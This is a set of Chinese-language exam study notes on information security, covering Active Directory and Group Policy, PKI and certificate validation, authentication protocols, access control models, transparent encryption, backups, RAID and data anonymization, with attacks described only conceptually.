Open EXAM Study

Chap2

PDCA模型

计划(Plan): 建立与组织总体战略、 目标和方针保持一致的信息安全管理方针、 策略, 通过风险评估建立控制目标和方式, 制定风险处理计划

执行(Do): 按照控制目标和方式实施信息安全管理, 开展全员安全培训、 实施安全控制

检查(Check): 对照信息安全管理体系的方针、 目标, 对信息安全管理进行监视和验证, 评审ISMS的有效性和适当性

处理(Act): 基于上述对体系的内部审核和管理评价的结果, 采取纠正和预防措施, 以持续改进组织的信息安全管理体系

Active Directory

活动目录(Active Directory, AD):域环境中提供目录服务的组件。

特点:

活动目录不仅存储网络对象的信息, 还提供目录服务, 使用者能快速准确查找目录中的信息, 而不需要考虑搜索对象的地理位置。

活动目录提供了完全集成在Windows中的一个分层目录服务。 为企业提供了网络环境中集中式管理机制。

这种分层的目录结构, 简化了一般的管理任务, 可以使企业网络具有极强的可扩展性。

完成单域及多域环境下活动目录管理功能的机制:

  1. 单点登录(SSO)
  2. 全局目录(GC)
  3. 多主复制
  4. 组策略

单点登录

单点登录(Single Sign On, SSO):用户只需要登录一次就可以访问所有相互信任的应用系统。

上图中的SSO基于Kerberos协议,故又称Kerberos SSO。

当然,也有基于其他协议实现的SSO,如SPNEGO SSO、CAS SSO。

全局目录

全局编录/全局目录(Global Catalog, GC):保存在一个或多个域控制器中的数据库(只读副本,存储对象属性集的)。记录了AD 中所有域对象的部分信息以及架构信息和配置信息的完整副本。

默认情况下, 全局编录在域森林的初始域控制器上自动创建。 该域控制器就称为全局编录服务器, 后面也可配置其他域控制器为全局编录服务器。

全局目录的任务:

  • 登录:向域控制器提供通用组成员信息。用户登录网络时, 必须存在一台全局编录服务器, 否则只能登录到本地, 例外是“域管理组中的成员”。
  • 查询:使得客户机能够方便快捷地执行跨所有域的搜索,而不必逐个搜索每个域。只有当查询对象信息不在GC中时, 服务器才会将查询转至对象所在域。

设置多个GC可以减少用户查询的响应时间,但是会导致网络的复制通信量增加。

多主复制

多主复制(Multi-master replication):通过安装域控制器,就可以在整个网络环境中创建目录的多份副本。网络中任何地方发生的变化都会在整个网络中自动复制。

组策略

组策略(Group Policy, GP):在初始化时应用于计算机或用户的配置设置。可在不同层次上定义控制规则。

组策略是管理员针对于网络中的用户和计算机所作的一系列设置,可以 设置在站点、 域、 组织单元(如果是工作组计算机则设置在本机上)上, 使管理员可以集中控制程序, 网络资源及系统行为。

生效时机

计算机和用户是仅有的接收组策略的活动目录对象类型。

自动刷新:

  • 计算机设置生效时间
    • 当计算机启动时生效
    • 计算机已启动, 每隔一段时间会自动应用,域控(5分钟),非域控(90-120)
  • 用户的设置生效时间
    • 当用户登陆到计算机时生效
    • 用户已登录, 每隔90-120分钟会自动应用

强制刷新:

使用gpupdate /force命令强制刷新组策略,某些策略必须重新启动计算机或重新登录用户。

设置对象

image-20220701231431852

在域中,可以对站点(Site)、域(Domain)、组织单元(OU)设置组策略。可将一个组策略链接到多个Site/Domain/OU,也可以将多个组策略链接到同一Site/Domain/OU。

在工作组中,使用本地组策略对计算机进行设置。

处理
默认处理

默认处理顺序:纵向处理,其设置顺序为

  1. 本地组策略对象
  2. 链接在站点上的GPO对象
  3. 链接在上的GPO对象
  4. 链接在OU上的GPO对象

排在处理顺序后面的的GPO优先级高(后面的覆盖前面的)。

工作组成员只处理本地组策略对象。

例1

对于主机“ServerA”,其组策略应用顺序:

对计算机Server A而言,

本地组策略对象:A6

站点组策略对象:A3

域组策略对象:A1 $\rightarrow$ A2

OU组策略对象:A4 $\rightarrow$ A5

所以应用顺序为A6 $\rightarrow$ A3 $\rightarrow$ A1 $\rightarrow$ A2 $\rightarrow$ A4 $\rightarrow$ A5。

例2

对于组织单元“教学”和“服务器”,其组策略应用顺序:

例3

GPO设置\GPO GPO1 GPO2、GPO3 GPO4
收藏夹 显示 删除
口令 不少于11个字符
Windows更新图标 删除 显示
例外处理
  1. 禁止替代,No Override:防止随后处理的GPO覆盖该GPO,当多个GPO均设置为“禁止替代”时,优先采用先处理的GPO。(对后面的GPO:必须、只能用我,我是当继承链的结尾)
  2. 阻止策略继承,Block Policy Inheritance:禁止该GPO继承父组策略(对前面的GPO:我不想用你,我想当继承链的新开头)。权限小于“禁止替代”

若GPO1为正常GPO,GPO2为禁止替代的GPO,GPO3为阻止策略继承的GPO,GPO4为正常GPO,则:

GPO1:我是第1个设置,我先设置一遍组策略。(然后就走了)

GPO2:我是第2个设置,对GPO1:你的设置归我了,我想要的就留着,不想要的就扔了哈。对GPO3及GPO4:后面的都给我滚,别想动我的设置。(站在那把后面的GPO踢走)

GPO3:我是第3个设置,我想。。把你们的设置扔出去用我的。。。GPO2:给老子滚(GPO3被踢走)

(如果没有禁止替代的GPO2在,GPO3会把前人的设置全扔掉然后改成自己的,然后走掉)

GPO4:我是第4个设置,那我还用改点设置吗??GPO2:你也滚(GPO4被踢走)

所以最后剩下的设置就是GPO1被GPO2修改后的设置。

(啊我好傻逼啊。。)

冲突处理

用户和计算机拥有不同的组策略。

默认处理:

  1. 计算机策略
  2. 用户策略

Lookback环回选项:(让计算机策略更牛逼的选项,词源自计网)

  • Replace替换模式:只用计算机策略
  • Merge合并模式:先用户策略、再计算机策略(计算机策略的优先级更高了)

Chap3

中间人攻击(不考)

问题:Bob没有办法判断收到的公钥是否来自Alice

解决方法:引入证书

找到一个可信第三方验证主体

把公钥和所有者身份绑定到证书中。

证书不能被伪造(forged)或篡改(tampered)(使用数字签名)

安全通信过程:Alice需要获得可信第三方签名的证书。

  1. 可信第三方给Alice颁发一个带有Alice身份信息和Alice公钥的证书
  2. Alice将整个证书发送给Bob。
  3. Bob用可信第三方的公钥验证证书。
  4. Bob现在知道了公钥的真正主人。

不就是把公钥放在盒子(证书)里吗。。。那么Malllory因为没有可信第三方的私钥,就不能把自己的公钥伪造成可信第三方签名过的证书了。

PKI架构

PKI(Public Key lnfrastruicture)是一个安全基础设施,是一个包括硬件、软件、人员、策略和规程的集合(一组组件和规程)。用来实现基于公钥密码体制的密钥和证书的产生、管理、存储、分发和撤销等功能。

组件

CA、RA、LDAP、密钥备份及恢复系统、CRL、API

认证机构(Certification Authority, CA):是公钥基础设施中的可信第三方实体,是信任的起点,向主体颁发证书,证书吊销列表CRL,续借和更新证书。有些PKI会把RA的功能融合进CA中。

注册机构(Registration Authority, RA):多数情况下,RA主要用于在证书登记过程中核实证书申请者的身份,有的架构中,CA也委派给RA一些其他责任,像个人认证,吊销报告、密钥生成、存储密钥对。

证书库:用于存储已签发的数字证书及公钥,用户可由此获得所需的其他用户的证书及公钥。

密钥备份及恢复系统: 为应对用户丢失解密密钥的情况,PKI提供了备份与恢复密钥的机制。密钥备份与恢复只能针对解密密钥,签名私钥为确保其唯一性而不能够作备份。

证书吊销系统:证书在有效期内由于某些原因(如私钥泄露)可能需要废除,即将证书列入CRL(Certificate Revocation List)。

应用接口:提供良好的应用接口,使各种应用能够与PKI交互。

数字证书(Digitial Certficate):把用户身份和密钥绑定起来。

功能

认证:

  • 被认证的数据------数据源认证
  • 用户发送的远程认证请求—身份认证
  • 远程设备生成请求----身份认证

完整性:利用数字签名即可实现实体认证、也可验证数据完整性

保密性:用公钥分发秘密密钥, 用秘密密钥加密数据

不可否认性:数字签名

数字证书和证书验证

数字证书是一个经CA数字签名的包含公钥拥有者信息以及公钥的文件,还包括签名算法和用途。

证书验证通过CA实现

层次结构

基本结构

一般结构

根CA有自签名的证书

根CA依次给下面的CA进行签名

层次结构中的叶子节点CA对安全主体进行签名

对主体而言, 它信任根CA, 中间CA可以不必关心(透明),同时它的证书必须由底层CA签发。

在CA上要维持这棵树, 每个CA节点需要保存两种证书:

  • 前向证书: 其他CA发给它的证书
  • 后向证书: 它发给其他CA的证书。

层次验证例1 主体A验证主体B的证书

  1. 主体A从该证书的签发CA沿层次树向根找,可以构成一条证书链,直到到该证书的根证书
  2. 从根证书开始向叶验证(按证书链),直到验证到该证书的签名,如果证书链中所有证书的签名都验证通过(其中,根证书自签名,用自己的公钥进行验证),且主体A信任根CA,则主体A可以信任该证书。

网状结构

独立的CA双方交叉认证(也就是互相发放证书), 结果是在对等的CA中产生了信任关系网。 信任仅存在于这两个CA及其下面的子CA之间。

交叉验证指CA之间互相证明以建立一种横向信任关系, 这是一种对等信任模型.信任可以是单向也可以是双向的。
交叉验证为不同PKI实现相互集成提供了方便途径。

基本结构

一般结构

桥状结构

加一个CA连接两个CA,使它们成为P2P模式。

一般结构

验证

证书真实性的验证基于证书链验证机制,其验证对象:(验证流程见层次验证例1)

  1. 验证真实性。 证书是否为可信任CA认证中心签发?
  2. 验证有效性。 证书是否在证书的有效使用期之内?
  3. 验证可用性。 证书是否已废除?
  4. 验证证书结构中的证书用途。

例1 验证淘宝网站的证书

  1. 检查根CA(GlobalSign Root CA)的证书是否在浏览器的信任CA列表中(自签名的)
  2. 用根CA(GlobalSign Root CA)的公钥验证中间CA(GlobalSign Organization Validation CA)的证书
  3. 用中间CA(GlobalSign Organization Validation CA)的公钥验证淘宝网站(*.alibaba.com)的证书
  4. 如果整个证书链的证书均验证成功,则淘宝网站的证书验证通过,信任淘宝网站(*.alibaba.com)

PKI的安全性

访问https网站时的认证过程

针对认证过程的攻击手段:

  1. 对证书传输过程的攻击(中间人攻击)
  2. 对CA认证过程的攻击
  3. 对CA签名过程的攻击
  4. 对算法的攻击
  5. 对用户确认的攻击

1 Hacker无法取得CA签发的证书,会创建顶层自签名证书example.com,而该证书不在浏览器信任范围内(不准确),就会导致不可信弹窗(继续前往!)。

2 Hacker无法取得CA签发的证书,直接发送自己的证书hacker.com,浏览器检查不通过,终止握手协议MITM fails

Chap4

基于文本口令认证的安全机制

概念

基于口令的机制允许人们选择自己的口令,并且不需要辅助设备生成或储存, 因此用户名加口令成为应用最广泛的一种身份认证方式。

基于口令的认证虽然简单便捷、 费用低廉,但安全性上也存在风险。

攻击手段

  1. 字典或穷举攻击(认证端)

  2. 社交工程窥探、 垃圾收集、 污迹攻击

  3. 网络数据流窃听:如果口令使用明文传输,则可被非法截获。如Telnet、 FTP、 POP3都使用明文口令,而攻击者只需通过窃听就能分析出口令。

  4. 截取/重放攻击:利用截获的值, 攻击者可以在新的登录清求中将其提交到同一服务器, 服务器不能区分这个登录谓求是来自合法用户还是攻击者。

防御手段

认证端:防范字典或猜测攻击、 拖库、 撞库

用户端:防范社交工程、 窥探、 垃圾收集

认证过程:防范窃盺、 重放、 中间人攻击

口令安全

1)基于单向函数的口令存放:口令Hash散列存储——防离线字典、 穷举攻击

2)加盐Hash散列存储

加盐目的:

  • 防止复制的口令在口令文件中出现。
  • 显著增加了离线口令字典攻击的难度(随机数长a.则搜索空间增长2^a)
  • 攻击者不能发现一个用户在多个系统中使用相同的口令

3)强口令设置——针对字典、穷举攻击:

  • 口令设置策略(复杂性要求)
  • 设置口令允许登录次数——防止在线字典攻击
  • 设置口令最长使用期限——增大字典、穷举攻击的难度

基于密码学的认证协议

基于对称密码的认证机制

实体A和B在开始具体运行认证机制之前应共享一个公共的秘密密钥$K_{AB}$。

基于对称密码算法的鉴别机制可以没有第三方, 也可以有可信的第三方——通常称为KDC(Key Distrib-ution Center)用来进行密钥管理。

A:声明方

B:验证方

单次传递认证

$M=TN_A||I_B$, $TN_A$为时间戳, $I_B$为可区分标识符,用于避免反射攻击

$A\rightarrow B: E_{K_{AB}}(M) = E_{K_{AB}}(TN_A||I_B) $

两次传递认证(挑战响应模式)

$M=R_B||I_B$

$B\rightarrow A: R_B $, $R_B$为随机数

$A\rightarrow B: E_{K_{AB}}(M) = E_{K_{AB}}(R_B||I_B) $

基于非对称密码的认证机制

三种认证方案

公钥:Public Key, Pu

私钥:Private, Pr

消息:Message, M

加密算法:Encrypt, E

公钥加密

仅提供保密性,不能进行消息认证。

A使用$PU_B$加密、B使用$PR_B$解密,这样只有B可以可以获取消息M,实现了保密性。但因为任何人都可以使用$PU_B$加密,所以不能保证消息由A发出(因为$PR_B$是公开的),即不能进行消息认证。

私钥加密

仅提供消息认证的三种安全服务,没有保密性。常用于签名。

A使用$PR_A$加密,B使用$PU_A$解密,这样可以提供消息认证的三种安全服务(见下文)。但因为$PU_A$是公开的,所以任何人都可以获取消息M,即没有保密性。

完整性:传输过程中未被篡改,否则格式会发生变化

认证性:只有A可以发出$E_{PU_A}(M)$(因为$PR_A$是A私有的)

抗抵赖性:所有人都可以使用PU_A验证M

私钥-公钥加密

提供保密性和消息认证的三种服务。

A先使用$PR_A$加密,再使用$PU_B$加密,B先使用$PR_B$解密,再使用$PU_A$解密。

保密性:解密用到的$PR_B$为B私有,只有B能获取M

完整性、认证性、抗抵赖性同上

(其实我不太明白这种加密怎么实现抗抵赖性,另外先私后公加密可能是不希望密文被解开,解一层也不行)

基于MAC的认证机制

消息验证码(Message Authentication Code, MAC):利用共享密钥生成的定长数据块。

特点
  1. 固定长度
  2. 由校验算法生成且不可逆,$MAC=F(K_{AB}, M)$
  3. A、B共享密钥,接受者对输入执行同方向计算,检查生成的MAC是否与接受的MAC匹配
  4. 完整性认证性
生成方法

即使用的F

  1. 对称加密
  2. 散列
  3. HMAC

统一身份认证

单点登录、第三方登录

常见架构

  • SSO(baidu公司的网站都可以保持登录状态,强)
  • CAS(SSO的一种框架)
  • Cookie-Session Auth(客户端-服务器端)(对*.baidu.com实现,只能一类域名实现,不符合域名的要重新登录,弱)
  • Token Auth(在url后加上token,通过token完成身份传递)
  • OAuth2.0(使用token传递的方式)
  • OpenID Connection(基于OAuth2.0)
  • JWT(对token使用密码学的方式进行加密保护,json可跨平台)

Chap5

常见访问控制策略

自主访问控制/基于身份的访问控制器(不考细节,复习课27:50)

自主访问控制(Discretionary access control, DAC)又称基于身份的访问控制器(Identity Based Access Control, IBAC)

访问控制矩阵

访问控制策略可以使用访问控制矩阵描述

User(s)\Object file1 file2 file3
Alice rx r rwo
Bob rwxo r
WorkGroup1 rx rwo w

访问控制矩阵有两种压缩方法:基于列(客体)压缩和基于行(主体)压缩

基于列压缩——访问控制表ACL

上述矩阵的ACLs为

file1: {(Alice, rx), (Bob, rwxo), (WorkGroup1, rx)}

file2: {(Alice, r), (Bob, r), (WorkGroup1, rwo)}

file3: {(Alice, rwo), (WorkGroup1, w)}

例1

ntbackup: {…, (Domain Users, rx), …}

这种方法常用

基于列压缩的访问控制还有基于保护位压缩(Linux权限管理,eg. drwxrwxrwx)、基于环压缩。

基于行压缩——能力表CL

上述矩阵的CLs为

Alice: {(file1, rx), (file2, r), (file3, rwo)}

Bob: {(file1, rwxo), (file2, r)}

WorkGroup1: {(file1, rx), (file2, rwo), (file3, w)}

这种方法用的不多

例2 下图攻击手段能成功实施的原因

Bob和Evil是计算机上的两个用户,其中Evil用户为hacker创建,未提权至Administrator权限。

  1. Evil对计算机上的一个程序2植入木马后运行程序2,创建木马进程,此时木马进程拥有者为Evil,无机密数据文件的r权限,所以该进程会创建一个暗袋文件,并赋予Bob x权限(因创建者是Evil所以其拥有rx权限)。

  2. Bob运行程序2创建木马进程后,木马进程此时因其拥有者为Bob,所以拥有机密数据文件的rx权限,又因Bob被赋予了暗袋文件的x权限,所以木马进程可以读取机密数据写入暗袋文件。

原因:资源的拥有者自主管理资源权限

例3 Windows中的DAC

强制访问控制/基于规则的访问控制

强制访问控制(Mandatory Access Control, MAC)又称基于规则的访问控制(Rule Based Access Control, RBAC)

授权完全由主客体安全属性决定,其由系统控制,用户不能改变主客体的安全属性。

BLP模型
概念

贝拉(Bell-LaPadula)模型,又称机密性模型

规则:不上读,不下写

贝拉机密下毒

安全级别:绝密(Top Secret, TS)、秘密(Secret, S)、机密(Confidential, C)、非保密(Unclassfied, U)

自主安全特性:类似于安全控制级别的访问控制矩阵

规则

简单安全规则(下读):S的安全级别$\geq$O的安全级别,且S对O有读权限,可以下读。

*规则(上写):S的安全级别$\leq$O的安全级别,且S对O有写权限,可以上写。

安全级别标签

安全级别标签是一个二元组(Level, Category),eg. (TS, {财务处})

支配:对S的安全级别($L_S$, $C_S$)和O的安全级别($L_O$, $C_O$),当前仅当$L_S \geq L_O\ and\ C_S \supseteq C_O$时,S支配O。

例1 强制访问控制规则

1
2
if (S.L >= O.L && S.C >= O.C)
Read(S, O) 或 eXecute(S, O) // 注意没有Write!

例2 防火墙中的BLP模型

即将内部网络的Level设为TS,将Internet的Level设为Unclassfied。

例3 强制访问控制如何防止特洛伊木马的攻击

数据文件.L >= 暗袋文件.L,信息只能上写,所以无法向暗袋文件写入数据。

Biba模型
概念

又称完整性模型

比巴完整瞎写

规则

简单完整性规则(上读):S的完整级别$\leq$O的完整级别,可以上读。

*规则(下写):S的完整级别$\geq$O的完整级别,可以下写。

例1 防火墙中的Biba模型

即将内部网络的Level设为TS,将Internet的Level设为Unclassfied。

后两个不考

基于角色的访问控制

基于属性的访问控制

Windows分布式访问控制

框架

身份认证和访问控制可能不在同一节点/域(虚线分隔)

Subject Attribute:主体属性

Request Attribute:请求属性

1 主体通过认证模块与主体身份及属性信息交互,获得自身的身份信息,缓存在主体的访问点上,当主体访问数据时,访问请求中包含主体身份信息、待访问客体的身份信息、操作的权限信息,向访问控制实施模块发送Requset

2 访问控制实施模块比对权限,控制对服务的访问。

服务包含操作,操作需要权限,所以权限策略库要与身份认证节点解耦合、与访问控制实施模块解耦合、与服务解耦合。

实际系统中用户基数大,不能存储每个User的身份及属性信息,所以需要使用Group进行组织。

权限授予

分布式访问控制系统通过将User映射到Group实现跨域身份认证与权限分配,这是分布式访问控制最重要的操作。


注:老师给的图有错误,首先U-groups和G-groups写反了,箭头应代表箭头尾是箭头尖的成员,应该是G-groups和U-groups加入到L-group,也画反了。这里已更正。

G-groups:全局组,用于组织域内用户访问Resource

U-groups:通用组,用于组织跨域用户访问Resource

L-group:域本地组,用于分配权限,是连接权限与Resource的中间件

域组及其权利指派

全局组(Global Group)

全局组用于组织某个域的用户账户,让这些账户一次获得相同的权限。

成员:来自同一个域的

  1. 用户
  2. 全局组

特点:

  1. 可访问任何域中的资源
  2. 存储在创建它的域中,只能在这个域中复制,出现在GC中,但它的成员不出现

在实际应用中一般会把隶属同一部门的用户组织成全局组,然后再将全局组加入某本地域组中。

通用组(Universal Group)

通用组用于简化多域的管理,和全局组一样,都可指派森林中的任何资源的权限给用户。

成员:来自森林中任何域的

  1. 用户
  2. 全局组
  3. 通用组

特点:

  1. 可访问任何域中的资源
  2. 存储在全局编录GC中。所以登录时如果想获得用户的通用组信息建立令牌,需要GC
域本地组(Domain Local Group)

域本地组用于分配域资源和权限,同时把权限分配给域用户。

成员:

  1. 来自森林中任何域的用户
  2. 来自森林中任何域的全局组
  3. 来自森林中任何域的通用组
  4. 来自同一个域中的域本地组

特点:

  1. 仅管理本地域内的资源
  2. 存储在创建它的域中,只能在这个域中复制,不会出现在GC中。

例1 使用全局组进行单域管理

AGDLP规则:按$A\rightarrow G\rightarrow DL\leftarrow P$进行权限授予。

A:Account,帐户

G:Global,全局

DL:Domain Local,域本地

P:Permission,权限

例2 通用组对多域管理的简化

不使用通用组

使用通用组

权限指派

在非GC上可以创建用户、域本地组、全局组。

在GC上可以创建用户、域本地组、全局组、通用组。

粗粒度权限管理:对资源类型的权限指派

细粒度权限管理:对资源实例的权限指派

例1 粗细粒度权限管理对比

若系统有一个查询用户列表的页面,查询用户列表需要权限。

张三:开发部主管

李四:安全部主管

若进行粗粒度权限管理,则:

张三和李四都有用户列表这个类型的查询权限,都可以查询任意部门的用户。

若进行细粒度权限管理,则:

张三有开发部的用户列表这个实例的查询权限,只可以查询开发部的用户。

李四有安全部的用户列表这个实例的查询权限,只可以查询安全部的用户。

例2 分布式访问控制权利指派实例

files:域本地组,用于管理共享资源,链接网络用户。

product*:全局组,由files向用户提供访问资源权限和用户登录权利。含product1(位于example.com)、product3(位于a.example.com)、product4(位于abc.org)。

productall:通用组,由Files向用户提供访问资源权限和用户登录权利。

以product1单个全局组为例进行一次实际的权限指派与验证。

Step1 权限指派:

粗粒度权限管理:在域中指派用户权限

将example.com的domain_users删除,即收回example.com上的域用户lisi的登录权利。

细粒度权限管理:在资源上指派资源访问权限

将temp文件的三项权限赋予域本地组files。

Step2 组映射:

将全局组product1加入域本地组files

image-20220821010114287

Step3 用户映射

将用户lisi加入全局组product1

Step4 登录lisi查看权限是否生效

首先进行细粒度权限指派的验证

未生效时

生效时

然后进行粗粒度权限指派的验证

确实无法登陆,成功。

若有多个全局组如何操作?若再用通用组简化多域管理时如何操作?

Step1 权限指派

粗粒度权限管理:在域中指派用户权限

细粒度权限管理:在资源上指派资源访问权限

Step2 组映射

无通用组:将全局组product*加入域本地组files
有通用组:将全局组product*加入通用组productall,再将productall加入域本地组files

Step3 用户映射

将用户lisi加入全局组product1(域example.com)

将用户lisi3加入全局组product3(域a.example.com)

将用户lisi4加入全局组product4(域abc.org)

Step4 验证

lisi*登录,访问共享temp文件夹

Chap6

透明加解密

用户态、内核态机理,如何管理

透明加密:又称静态加密,加解密细节不会被察觉,由存储系统自动完成,文件在内存中为明文形式、在硬盘中为密文形式。当使用环境改变时,会因无法获得自动解密服务而无法打开,从而达到保护文件内容的目的。

实现原理

给定这样的存储系统,透明加解密有两种实现方式。

该系统的工作原理:

  1. 应用进程发出IO请求
  2. IO子系统管理器接收IO请求,将其转化为IRP(Input Request Packet),发送给文件系统驱动
  3. 文件系统驱动接收IRP,确定要IO的文件位于磁盘的哪个地址(哪个块),发送给磁盘驱动
  4. 磁盘驱动按照地址进行文件IO。

基于用户模式实现

通过API-HOOK针对进程实现加解密操作。

首先向进程注入负责HOOK的dll。

进程打开文件(读操作)时,该事件被HOOK拦截,先将已加密的文件拷贝到临时目录中,并隐藏和解密该文件,然后将解密后的临时文件返回给打开文件的进程。 这样应用程序打开的就是磁盘上的明文文件,用户程序可以进行正常的处理;

进程关闭文件(写操作)时,该事件被HOOK拦截,将临时文件加密,然后再拷贝回来覆盖掉原文件。

这种加密实质上是通过临时文件来实现的,必须在每次用户存盘或者系统自动存盘的时候,存在实现简单、易被绕过,效率低,安全性不高,兼容性差(PatchGuard随版本变化,注入方式会变化)的特点。

基于内核模式实现

方案一:操作系统开发者

文件粒度:修改文件系统驱动

磁盘粒度:修改磁盘驱动

读时解密,写时加密

方案二:

在相应驱动上面写一层过滤程序

文件粒度:文件过滤驱动程序

磁盘粒度:设备过滤驱动程序/磁盘过滤驱动程序

过滤:在不影响上层和下层接口的情况下,在Windows内核中加入新的层,从而不需要修改上层软件或下层的真实驱动程序就加入新的功能。

文件过滤驱动程序:处理IRP包和文件

磁盘过滤驱动程序:全盘加密

image-20220821215052250

Windows的内核模式透明加解密方案:EFS,Encrypting File System。

密钥管理

KMS
  1. 应用系统不需要改进
  2. 存储系统改进后适合大规模的推广
  3. 用于结构化数据加密时不能防止DBA泄密,安全性中等
  4. 用于非结构化数据加密时配合权限控制,安全性较好
存储自管理
  1. 应用系统不需要改进
  2. 存储系统改进后一般自用,不适合大规模的推广
  3. 不能防止DBA泄密,安全性中等

加密系统

至少使用两种密钥、两级加密机制。

数据加密密钥(Data Encryption Key, DEK)

使用对称加密算法对数据进行加密。

每个任务或每个记录使用不同的DEK(随机生成)。

DEK在经 KEK公钥 加密后建议随密文数据一起存储,可用于大数据场景。当只有少量DEK且预计不会增长时,才会考虑存储在KMS(不推荐)。

密钥加密密钥(Key Encryption Key, KEK)

使用非对称加密算法对DEK进行加密。

每个应用或每个用户使用不同的KEK。

KEK私钥经加密存储在KMS系统中,不随密文数据一起存储(因为 KEK公私钥对 独立于每个记录)。

例1 EFS的加解密系统

加密:

与上述方案类似,但其拥有两对“KEK”,一个由用户持有,一个由恢复代理(管理员)持有,也会生成两个“DEK”(这里称为FEK)的加密文件,与密文一起存储。

解密:

同样有两种解密方式

使用用户的KEK私钥解密DDF得到FEK,使用FEK解密密文得到明文;

使用恢复代理的KEK私钥解密DRF得到FEK,使用FEK解密密文得到明文。

数据备份

备份策略

首先了解一个属性

存档属性:用来标记文件改动,代表在上一次备份后文件有所改动。意即:“我需要备份!/该存档了!

使用Attrib程序可以查看文件属性。其中,存档属性为A。

可以看到我这里的PPT没有进行过备份,所以都有存档标记A。

完全备份

完全备份(Full Backup):对某一个时间点上的所有数据进行的一个完全复制。

在完全备份过程中,备份选中的文件,清除存档属性,即将每个文件都被标记为已备份。

差异备份(偷摸备份)

差异备份(Differential Backup):备份自上一次备份后有存档属性的文件。(规矩上需要备份)

在差异备份过程中,备份选中的、有存档属性的文件,不清除存档属性,即备份后不标记为已备份文件。(有种偷偷备份的感觉)

在进行恢复时,需使用上次的全备份和最后一次的差异备份进行恢复。

增量备份

增量备份(Incremental Backup):备份自上一次备份之后有变化的数据。(事实上真的需要备份)

在增量备份过程中,备份选中的、有存档属性的文件,清除存档属性

在进行恢复时,需使用上次的全备份和每次的差异备份进行恢复。

例1 三种备份的区别

完全备份:不考虑A,每次全部复制。

差异备份:把有A的全部复制。

增量备份:把有A的全部复制,然后清除它们的A。

例2 使用备份进行数据恢复

1)

2)

3)

RAID

独立磁盘冗余阵列(Redundant Array ofIndependent Disk,RAID):将多块磁盘通过一定的技术手段组成一个单一的虚拟磁盘使用。

软RAID:使用软件连接多块磁盘

硬RAID:使用硬件连接多块磁盘

image-20220822223555425

硬RAID有许多冗余实现方式

其中RAID-0、RAID-1、RAID-5及其组合方案最常用。

RAID-0

RAID-0:又称条带阵列。将数据分割存储到多块硬盘上,磁盘读写时负载平均分配到多块磁盘。由于多块磁盘可同时读写,所以速度明显提升。

示意图:

优点:

  1. 读写快

  2. 利用率高

  3. 成本低

缺点:

  1. 无冗余,无校验
RAID-1(highlight)

RAID-1:又称镜像阵列,至少由2块磁盘实现。将同样的数据写入2块硬盘(互为镜像),一块磁盘发生故障时,另一块硬盘可继续工作,并可在更换硬盘后重新创建镜像。

示意图:

优点:

  1. 可靠性高
  2. 读取速率高

缺点:

  1. 写入速率低
  2. 利用率低
RAID-0+1:

RAID-1:至少由4块磁盘实现。将RAID-0中的2块磁盘视为虚拟磁盘,再使用RAID-1方案阵列

示意图:

优点:

  1. 读写快
  2. 安全
RAID-5(highlight)

RAID-5:至少由3块磁盘实现。将数据分布在不同磁盘上,并在所有磁盘上交叉地存取数据及奇偶校验信息

示意图:

3块物理磁盘:

4块物理磁盘:

RAID-5的结构共有8种,以上均为常规左异步结构的RAID-5,又称“3-2-1连续”,即:

  1. 校验块从最后一块物理盘开始写起,然后依次往前面的物理盘中写入,当写到第一块物理盘后再回到最后一块物理盘,依次循环。
  2. 数据块从第一块物理盘开始写,然后依次往后面的物理盘中写入,即各条带组内的数据块均由低号物理盘向高号物理盘依次写入。

优点:

  1. 数据安全
  2. 读取速率高
  3. 磁盘利用率高

缺点:

  1. 写入速率低

若一块磁盘失效,可以按奇偶校验码重构数据。(注意,仅一块)

原理:

即两侧按位异或$b$,左侧$b\oplus b = 0$。

于是可以得到

即任意1块磁盘的数据可用另外2块磁盘的数据按位异或,进行恢复。

数据恢复

详见上一节——数据备份

基于备份的恢复(RAID-1,镜像):当1块物理磁盘损坏时,将另1块物理磁盘拆卸下来,作为单独的硬盘接在计算机上,即可恢复数据。

基于非备份的恢复(RAID-5,奇偶校验):当1块物理磁盘损坏时,使用剩下的n-1块磁盘的数据进行按位异或,即可恢复数据。

去标识化——匿名化

去标识化分为两大类:匿名化、假名化。本课程介绍匿名化。

基础概念

链接攻击:类似数据库里的自然连接,通过等值的列进行连接,可以获得某个元组更详细的信息。

所以匿名化的目的就是使公开表之间无法自然连接。

标识符:即数据库中的只含有一个字段的主键,可以唯一标识一个元组。

准标识符:有点类似含有一组字段的外键,虽然在单个表中无法唯一标识一个元组,但也许在与其他表进行自然连接/链接攻击后所形成的表中可以唯一标识一个元组。

敏感属性:可以公开,但不能涉及个人隐私。

k-匿名性(k-anonymity)

k-匿名化:将某(些)列属性的具体值替换为泛化值,使其满足k-匿名性的过程,也称泛化过程。

k-匿名性:当表中的每$1$个元组无法与其他至少$k-1$个元组互相区分,即$|$每个元组所在的等价类$| \geq k$时,称该表满足k-匿名性。

例1 2-匿名化表

例2 4-匿名化表

可以看出,k值越大:

  1. 保护强度越大
  2. 丢失信息越多
  3. 可用性越低

注意:k-匿名性不考虑敏感属性。

同质化攻击:等价类中的敏感属性取值相同,那么不能起到“无法相互区分”作用,敌手可直接将这个等价类的信息视为等价类中每一个元组的信息(反正从这张表看这些人都一样)。

例3 同质化攻击

表同例2

敌手可知:美国邮区编号(zip code)为130开头的,年龄(age)为30多岁的人,不论什么国籍(nationality),很有可能有癌症(cancer)。

l-多样性(l-diversity)

由于k-匿名性不考虑敏感属性,存在同质性攻击,于是有了l-多样性。

l-多样性:在k-匿名性的基础上,每个划分/等价类中至少有l种敏感属性,即$|$每个等价类的敏感属性列$| \geq l$

例1 4-匿名性、3-多样性表

注意:1号那里应为1305*,详见参考文献[1]中的Figure 3. 3-Diverse Inpatient Microdata

偏斜性攻击:等价类中敏感属性的分布与全体数据的分布相差较大,敌手可以结合语义判断某个元组的敏感属性在那个属性上的区间。

例2 偏斜性攻击

敌手已经知道李雷位于下面的2-匿名性表、2-多样性表中,但每一个等价类的敏感属性“工资”的分布与总体分布差别较大,如第一个等价类、第二个等价类、第四个等价类的“工资”较高,第三个等价类的“工资”较低,而总体数据的“工资”有高有低。所以敌手只要判断出受害者在哪个等价类中就可以知道其“工资”的大概情况。

即敌手可知:李雷,“工资”比较低。

t-邻近性(t-closeness)

由于l-多样性不考虑等价类与总体的分布差异,于是有了t-邻近性。

t-邻近性:在每个等价类中,敏感属性的分布与全体属性的分布邻近,且不超过t。

例1 2-匿名性、2-多样性、t-邻近性表

